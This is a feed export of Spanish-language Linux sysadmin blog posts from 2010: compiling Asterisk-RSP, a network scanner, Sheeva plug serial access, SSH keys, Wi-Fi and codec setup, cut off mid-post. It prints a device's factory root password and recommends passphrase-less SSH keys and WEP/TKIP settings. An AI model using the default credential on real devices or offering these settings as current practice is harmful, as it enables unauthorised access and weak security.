href="http://2.bp.blogspot.com/_JhkD20t_wqQ/TEv3HhNGJsI/AAAAAAAAAUc/TBGBCkpgLs0/s1600/518.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 92px; height: 92px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/TEv3HhNGJsI/AAAAAAAAAUc/TBGBCkpgLs0/s200/518.jpg" alt="" id="BLOGGER_PHOTO_ID_5497759478680266434" border="0" /&gt;&lt;/a&gt;Hola amigos, después de una larga temporada me he decidido a escribir una articulo sobre como compilar &lt;a href="http://www.asterisk-es-rsp.org/doku.php"&gt;Asterisk-RSP&lt;/a&gt;.&lt;br /&gt;Se trata de un asterisk con una serie de parches para que resulte ser lo mas fiable, estable y seguro posible.&lt;br /&gt;&lt;br /&gt;Las fuentes las bajaremos desde sus repositorios de subversion:&lt;br /&gt;apt-get install subversion&lt;br /&gt;&lt;br /&gt;cd /usr/src&lt;br /&gt;svn checkout http://asterisk-es-rsp.irontec.com/svn/asterisk-es-rsp/branches asterisk-es-rsp&lt;br /&gt;&lt;br /&gt;Por si tenemos algún asterisk anterior instalado:&lt;br /&gt;/etc/init.d/dahdi stop&lt;br /&gt;&lt;br /&gt;Antes de comenzar comentar que las librerias &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+libpri"&gt;libpri&lt;/a&gt; son necesarias si se van a emplear tarjetas RDSI en nuestra centralita, &lt;a href="http://www.voip-info.org/wiki/view/DAHDI"&gt;DAHDI&lt;/a&gt; en cambio es lo que anteriormente se conocía como &lt;a href="http://www.voip-info.org/wiki/view/Zaptel"&gt;zaptel&lt;/a&gt; que no son ni mas ni menos que drivers para diferentes tarjetas.&lt;br /&gt;&lt;br /&gt;Empezamos la compilación y la instalación:&lt;br /&gt;&lt;br /&gt;cd asterisk-es-rsp/libpri/"versión"&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;cd ../../dahdi-linux/"versión"&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;cd ../../dahdi-tools/"versión"&lt;br /&gt;./configure&lt;br /&gt;make menuselect  --&gt; Lo dejamos por defecto  a no ser que queramos alguna opción fuera de lo normal.&lt;br /&gt;&lt;br /&gt;make clean&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;make config&lt;br /&gt;&lt;br /&gt;cd ../../asterisk/"versión"&lt;br /&gt;./configure&lt;br /&gt;make clean&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;make samples --&gt; CUIDADO BORRA CONFIG ANTERIOR!!!!!!!&lt;br /&gt;make progdocs&lt;br /&gt;make es-sounds&lt;br /&gt;Decir que si a todos los formatos&lt;br /&gt;make config&lt;br /&gt;&lt;br /&gt;Borramos extensiones y configuración de prueba del dialplan.&lt;br /&gt;rm /etc/asterisk/extensions.ael&lt;br /&gt;rm -rf /usr/src/asterisk-es-rsp/asterisk/1.4.24/pbx/ael/ael-test/*&lt;br /&gt;&lt;br /&gt;Configuramos Dahdi:&lt;br /&gt;cp /usr/src/asterisk-es-rsp/dahdi-tools/2.1.0.2/xpp/genconf_parameters /etc/dahdi/genconf_parameters.sample&lt;br /&gt;/etc/init.d/dahdi start&lt;br /&gt;dahdi_genconf&lt;br /&gt;dahdi_cfg -vv&lt;br /&gt;&lt;br /&gt;DAHDI solo es necesario si se van a emplear trajetas para llamar al exterior.&lt;br /&gt;&lt;br /&gt;Los ficheros de configuración de DAHDI son:&lt;br /&gt;/etc/dahdi/system.conf&lt;br /&gt;/etc/dahdi/modules --&gt; Modulos que debe cargar dependiendo de nuestras tarjetas&lt;br /&gt;/etc/asterisk/chan_dahdi.conf --&gt; Indicamos a Asterisk los canales DAHDI.&lt;br /&gt;&lt;br /&gt;He creado un &lt;a href="http://www.divshare.com/download/12092268-1fe"&gt;script&lt;/a&gt; que nos facilitará la vida en instalaciones desde cero, este nos genera varios ficheros con la configuración indicada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7691084412680188288?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7691084412680188288/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7691084412680188288' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7691084412680188288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7691084412680188288'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/07/compilacion-de-asterisk-rsp.html' title='Compilación de Asterisk-RSP'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/TEv3HhNGJsI/AAAAAAAAAUc/TBGBCkpgLs0/s72-c/518.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7039747875681401214</id><published>2010-05-07T22:44:00.003+02:00</published><updated>2010-08-23T18:07:19.403+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Escaner fácil y rápido</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/S-SAjixihvI/AAAAAAAAAUU/VpdDlgjYYxw/s1600/head_logo.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 48px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/S-SAjixihvI/AAAAAAAAAUU/VpdDlgjYYxw/s200/head_logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5468637195652990706" border="0" /&gt;&lt;/a&gt;AutoScan una herramienta realmente interesante para echar un vistazo rápido de nuestra red y sus inquilinos.&lt;br /&gt;Podemos hacer un escaneo de los servicios mas comunes, por supuesto podemos configurar este software para escanee los puertos que a nosotros nos interesen.&lt;br /&gt;&lt;br /&gt;Cabe la posibilidad de indicarle scripts para poder ejecutarlos sobre los hosts descubiertos, la verdad es que esta herramienta no aporta nada innovador, pero es muy visual. Me recordó un poco a LanGuard.&lt;br /&gt;&lt;br /&gt;Para instalarla basta con dirigirse a la &lt;a href="http://autoscan-network.com/download/"&gt;web del proyecto&lt;/a&gt;.&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt;Descomprimimos el software:&lt;br /&gt;tar xvzf AutoScan-Network-Linux-1.50.bin.tar.gz&lt;br /&gt;&lt;br /&gt;Lo instalamos:&lt;br /&gt;sh AutoScan-Network-Linux-1.50.sh&lt;br /&gt;&lt;br /&gt;La configuración es muy sencilla, se le indica nuestra red y la interfaz empleada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7039747875681401214?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7039747875681401214/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7039747875681401214' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7039747875681401214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7039747875681401214'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/05/escaner-facil-y-rapido.html' title='Escaner fácil y rápido'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/S-SAjixihvI/AAAAAAAAAUU/VpdDlgjYYxw/s72-c/head_logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7756713091911996667</id><published>2010-05-07T21:55:00.003+02:00</published><updated>2010-05-07T22:12:30.471+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Sheeva una autentica maravilla</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S-R0DRz-mfI/AAAAAAAAAUE/jy2HtZn-6TE/s1600/kuro_sheeva_2.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S-R0DRz-mfI/AAAAAAAAAUE/jy2HtZn-6TE/s200/kuro_sheeva_2.jpg" alt="" id="BLOGGER_PHOTO_ID_5468623447204469234" border="0" /&gt;&lt;/a&gt;Voy a explicar como conectar con los equipos &lt;a href="http://www.newit.co.uk/"&gt;Sheeva&lt;/a&gt;, se trata de unos equipos con un micro a 1.2GHz, 512Mb de ram, todo esto embebido en una cajita muy mona.&lt;br /&gt;Tenemos la posibilidad de pedirlo con Debian preinstalado ya sea en la NAND o en una tarjeta SD.&lt;br /&gt;Para poder conectarnos por el miniUSB que trae tendremos que añadir cierto modulo en el kernel.&lt;br /&gt;El driver en cuestió se encuentra en:&lt;br /&gt;Device drivers --&gt; USB Support --&gt; USB Serial converter --&gt; USB FTDI Single Port Serial Driver&lt;br /&gt;&lt;br /&gt;Después reiniciamos con este kernel, si lo hemos compilado dentro del kernel pues ya estaremos listos, si no cargamos el módulo: modprobe ftdi_sio&lt;br /&gt;&lt;br /&gt;Después de cargar el módulo podemos observar que se ha generado el dispositivo: /dev/ttyUSB0&lt;br /&gt;&lt;br /&gt;Instalamos minicom:&lt;br /&gt;apt-get install  minicom&lt;br /&gt;&lt;br /&gt;Lo configuramos de forma apropiada:&lt;br /&gt;minicom -s&lt;br /&gt;&lt;br /&gt;Configuración de la puerta serial:&lt;br /&gt;   | A - Dispositivo Serial            : /dev/ttyUSB0&lt;br /&gt;   | B - Localización del Archivo de Bloqueo : /var/lock&lt;br /&gt;   | C - Programa de Acceso           :&lt;br /&gt;   | D - Programa de Salida             :&lt;br /&gt;   | E - Bps/Paridad/Bits             : 115200 8N1&lt;br /&gt;   | F - Control de Flujo por Hardware: No&lt;br /&gt;   | G - Control de Flujo por Software: No&lt;br /&gt;&lt;br /&gt;Con esto ya estamos listos, guardamos la configuración como predeterminada:&lt;br /&gt;Salvar configuración como dfl&lt;br /&gt;&lt;br /&gt;Ejecutamos minicom.&lt;br /&gt;&lt;br /&gt;Nos aparecerá una ventana de login, accedemos como root con password: nosoup4u&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La verdad es que este aparatillo es ideal para tener un servidor que consuma poca energia, además al usar los repositorios de debian todo el software disponible para esta distro está a nuestro alcance ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7756713091911996667?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7756713091911996667/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7756713091911996667' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7756713091911996667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7756713091911996667'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/05/sheeva-una-autentica-maravilla.html' title='Sheeva una autentica maravilla'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S-R0DRz-mfI/AAAAAAAAAUE/jy2HtZn-6TE/s72-c/kuro_sheeva_2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1847196957473213451</id><published>2010-04-30T19:49:00.004+02:00</published><updated>2010-05-05T07:12:50.801+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Claves públicas SSH</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S9saWUyzkEI/AAAAAAAAAT8/nS6qBuLe1Gs/s1600/RSA-logo-501802E3EA-seeklogo.com.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 171px; height: 171px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S9saWUyzkEI/AAAAAAAAAT8/nS6qBuLe1Gs/s200/RSA-logo-501802E3EA-seeklogo.com.gif" alt="" id="BLOGGER_PHOTO_ID_5465991543585476674" border="0" /&gt;&lt;/a&gt;Hoy voy a explicar como autenticarse mediante el uso de claves públicas de SSH, esto nos permitirá conectarnos a nuestro servidor sin tener que teclear nuestra password.&lt;br /&gt;&lt;br /&gt;Modificamos el fichero de configuración del servidor:&lt;br /&gt;&lt;br /&gt;vi /etc/ssh/sshd_config&lt;br /&gt;Protocol 2&lt;br /&gt;RSAAuthentication yes&lt;br /&gt;AuthorizedKeysFile .ssh/authorized_keys&lt;br /&gt;&lt;br /&gt;Cada usuario puede generar las claves o lo puede hacer el administrador del servidor:&lt;br /&gt;ssh-keygen -t rsa&lt;br /&gt;Generating public/private rsa key pair.&lt;br /&gt;Enter file in which to save the key (/home/"usuario"/.ssh/id_rsa):&lt;br /&gt;Enter passphrase (empty for no passphrase):&lt;br /&gt;Enter same passphrase again: --&gt; Si se deja en blanco luego será comodisimo&lt;br /&gt;Your identification has been saved in /home/"usuario"/.ssh/id_rsa.&lt;br /&gt;Your public key has been saved in /home/"usuario"/.ssh/id_rsa.pub.&lt;br /&gt;The key fingerprint is:&lt;br /&gt;11:fr:60:f8:a9:42:87:d6:38:c0:a7:22:64:8b:94:cd "usuario"@"host"&lt;br /&gt;The key's randomart image is:&lt;br /&gt;+--[ RSA 2048]----+&lt;br /&gt;| ..o . ...       |&lt;br /&gt;|  . O o -.       |&lt;br /&gt;| .+* o +.+       |&lt;br /&gt;|oo+E. . ...      |&lt;br /&gt;|.= .+.  S        |&lt;br /&gt;|. .              |&lt;br /&gt;|                 |&lt;br /&gt;|                 |&lt;br /&gt;|                 |&lt;br /&gt;+-----------------+&lt;br /&gt;&lt;br /&gt;/home/"usuario"/.ssh/id_rsa --&gt; Clave privada: Cuidadin&lt;br /&gt;/home/"usuario"/.ssh/id_rsa.pub --&gt; Clave pública&lt;br /&gt;&lt;br /&gt;Hacemos llegar nuestra clave pública al servidor SSH:&lt;br /&gt;ssh-copy-id "usuario"@"servidor" --&gt; Pedirá la passphrase y luego la password de "usuario"&lt;br /&gt;&lt;br /&gt;Si en el servidor vamos a tener mas usuarios, generamos las claves y cuando nos pregunte:&lt;br /&gt;Enter file in which to save the key (/home/"usuario"/.ssh/id_rsa)&lt;br /&gt;Vamos dandole nombres distintos como id_rsa2,3,4......&lt;br /&gt;&lt;br /&gt;Subimos cada una de las claves públicas:&lt;br /&gt;ssh-copy-id "usuario"@"servidor" --&gt; Pedirá la passphrase y luego la password de "usuario"&lt;br /&gt;&lt;br /&gt;Aseguramos el servidor:&lt;br /&gt;PasswordAuthentication no&lt;br /&gt;PermitRootLogin no&lt;br /&gt;&lt;br /&gt;/etc/init.d/ssh restart&lt;br /&gt;&lt;br /&gt;Ya lo tenemos, ahora conectamos con nuestro usuario y por arte de magia accedemos sin necesidad de password ;)&lt;br /&gt;&lt;br /&gt;ssh -i .ssh/id_rsa"N" "usuarioN"@"servidor"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1847196957473213451?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1847196957473213451/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1847196957473213451' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1847196957473213451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1847196957473213451'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/04/claves-publicas-ssh.html' title='Claves públicas SSH'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S9saWUyzkEI/AAAAAAAAAT8/nS6qBuLe1Gs/s72-c/RSA-logo-501802E3EA-seeklogo.com.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6969249421806750386</id><published>2010-04-24T12:48:00.003+02:00</published><updated>2010-04-25T11:56:18.129+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>LiveCD en USB mas fácil que nunca</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S9LPHreTqXI/AAAAAAAAAT0/ATavzdLXdbA/s1600/linux-ussb.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 147px; height: 161px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S9LPHreTqXI/AAAAAAAAAT0/ATavzdLXdbA/s200/linux-ussb.jpg" alt="" id="BLOGGER_PHOTO_ID_5463657028789709170" border="0" /&gt;&lt;/a&gt;Hace ya tiempo que estoy leyendo en mis ratos libres como lograr instalar una distro LiveCD en mi memoria usb, hay varios métodos, unos mas complicados que otros pero sin duda alguna el mas intuitivo es &lt;a href="http://unetbootin.sourceforge.net/"&gt;UNetbootin&lt;/a&gt;.&lt;br /&gt;Tan solo hay que bajarse el binario, darle permisos de ejecución y "voila" ya podemos comenzar el proceso de instalación en la memoria USB, soporta un gran número de distros así como otros sistemas operativos basados en UNIX.&lt;br /&gt;Tan solo hay que inidcarle la distro, la imagen de origen y el usb de destino, esto nos generará unos ficheros desde los cuales nuestra BIOS podrá arrancar como si de una partición mas se tratase.&lt;br /&gt;&lt;br /&gt;Este programa ha sido probado con BackTrack4, pero supongo que con el resto de distros será igual de fácil.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6969249421806750386?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6969249421806750386/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6969249421806750386' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6969249421806750386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6969249421806750386'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/04/livecd-en-usb-mas-facil-que-nunca.html' title='LiveCD en USB mas fácil que nunca'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S9LPHreTqXI/AAAAAAAAAT0/ATavzdLXdbA/s72-c/linux-ussb.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3878477503653642160</id><published>2010-04-18T21:24:00.003+02:00</published><updated>2010-06-08T06:03:24.916+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Formato de video rmvb</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S8teAmPOIII/AAAAAAAAATs/17UgpCt8NMw/s1600/video.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 200px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S8teAmPOIII/AAAAAAAAATs/17UgpCt8NMw/s200/video.jpg" alt="" id="BLOGGER_PHOTO_ID_5461562337474257026" border="0" /&gt;&lt;/a&gt;El tema de los formatos de video en Linux ha sido un tema delicado, sobre todo con formatos como Windows Media Video y otros que son cerrados. Esta vez le toca a rmvb, pero la solución es bastante sencilla.&lt;br /&gt;&lt;br /&gt;Bajamos los codecs:&lt;br /&gt;wget http://www.mplayerhq.hu/MPlayer/releases/codecs/essential-amd64-20071007.tar.bz2&lt;br /&gt;&lt;br /&gt;Descomprimimos los codecs:&lt;br /&gt;bzip2 -dc essential-amd64-20071007.tar.bz2 | tar xv&lt;br /&gt;&lt;br /&gt;Copiamos los codecs al directorio correcto:&lt;br /&gt;mkdir /usr/local/lib/codecs/&lt;br /&gt;cp essential-amd64-20071007/* /usr/local/lib/codecs/&lt;br /&gt;&lt;br /&gt;Con este procedimiento se logra reproducir este formato usando xine como reproductor, en otros no funciona, mi teoria es que no todos los reproductores buscan los codecs en el mismo directorio, si alguie sabe como hacer que funcione con todos que escriba un comentario por favor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3878477503653642160?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3878477503653642160/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3878477503653642160' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3878477503653642160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3878477503653642160'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/04/formato-de-video-rmvb.html' title='Formato de video rmvb'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S8teAmPOIII/AAAAAAAAATs/17UgpCt8NMw/s72-c/video.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5150302569654379297</id><published>2010-03-20T20:12:00.010+01:00</published><updated>2011-10-16T18:39:09.317+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Conectar a redes WEP y WPA2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/S6UjV9_1caI/AAAAAAAAATk/3zLBDR6-Qbw/s1600-h/Wifi.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 92px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/S6UjV9_1caI/AAAAAAAAATk/3zLBDR6-Qbw/s200/Wifi.jpg" alt="" id="BLOGGER_PHOTO_ID_5450801784328384930" border="0" /&gt;&lt;/a&gt;Hola chavales, por fin tengo un poco de tiempo para escribir sobre frikerias varias.&lt;br /&gt;Esta vez voy a explicar un tema que está muy poco claro si se googlea, primero voy a explicar como conectar con una red WEP y luego a una red WPA2 con password compartida.&lt;br /&gt;&lt;br /&gt;Para ver las redes a nuestro alcance:&lt;br /&gt;iwlist "interfaz" scan&lt;br /&gt;&lt;br /&gt;Para la red WEP es tan sencillo como:&lt;br /&gt;iwconfig wlan0 mode managed&lt;br /&gt;iwconfig wlan0 essid "essid"&lt;br /&gt;iwconfig wlan0 key s:"clave"&lt;br /&gt;dhclient "interfaz"&lt;br /&gt;&lt;br /&gt;Con  una red WPA2 es un poco mas complicado:&lt;br /&gt;apt-get install wpasupplicant&lt;br /&gt;&lt;br /&gt;Editamos el fichero /etc/network/interfaces:&lt;br /&gt;auto wlan0&lt;br /&gt;iface wlan0 inet dhcp&lt;br /&gt;   wpa-ap-scan 2&lt;br /&gt;   wpa-driver wext&lt;br /&gt;   wpa-ssid "ESSID"&lt;br /&gt;   wpa-bssid "BSSID"&lt;br /&gt;   wpa-psk "PASSWORD"&lt;br /&gt;   wpa-key-mgmt WPA-PSK&lt;br /&gt;   wpa-group TKIP&lt;br /&gt;   wpa-pairwise TKIP&lt;br /&gt;   wpa-proto RSN&lt;br /&gt;&lt;br /&gt;Toda esta configuración se podría realizar en el fichero /etc/wpa_supplicant/wpa_supplicant.conf pero resulta mas sencillo hacerlo aquí ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reiniciamos la red:&lt;br /&gt;/etc/init.d/network-manager restart&lt;br /&gt;/etc/init.d/networking restart&lt;br /&gt;&lt;br /&gt;Ya lo tenemos, espero que sea de ayuda ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5150302569654379297?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5150302569654379297/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5150302569654379297' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5150302569654379297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5150302569654379297'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/03/conectar-redes-wep-y-wpa2.html' title='Conectar a redes WEP y WPA2'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/S6UjV9_1caI/AAAAAAAAATk/3zLBDR6-Qbw/s72-c/Wifi.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4676853649032874886</id><published>2010-01-30T23:21:00.006+01:00</published><updated>2010-08-23T18:07:48.892+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Cambiar imagen GRUB2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/S2SyWq6IsWI/AAAAAAAAATY/wxriNrYvf14/s1600-h/5047-1280x800.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 125px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/S2SyWq6IsWI/AAAAAAAAATY/wxriNrYvf14/s200/5047-1280x800.jpg" alt="" id="BLOGGER_PHOTO_ID_5432663153060655458" border="0" /&gt;&lt;/a&gt;Ya que me he puesto con el GRUB2 pues voy a explicar tambien como cambiar la imagen de fondo.&lt;br /&gt;Elegimos la imagen deseada y la guardamos con el tamaño: 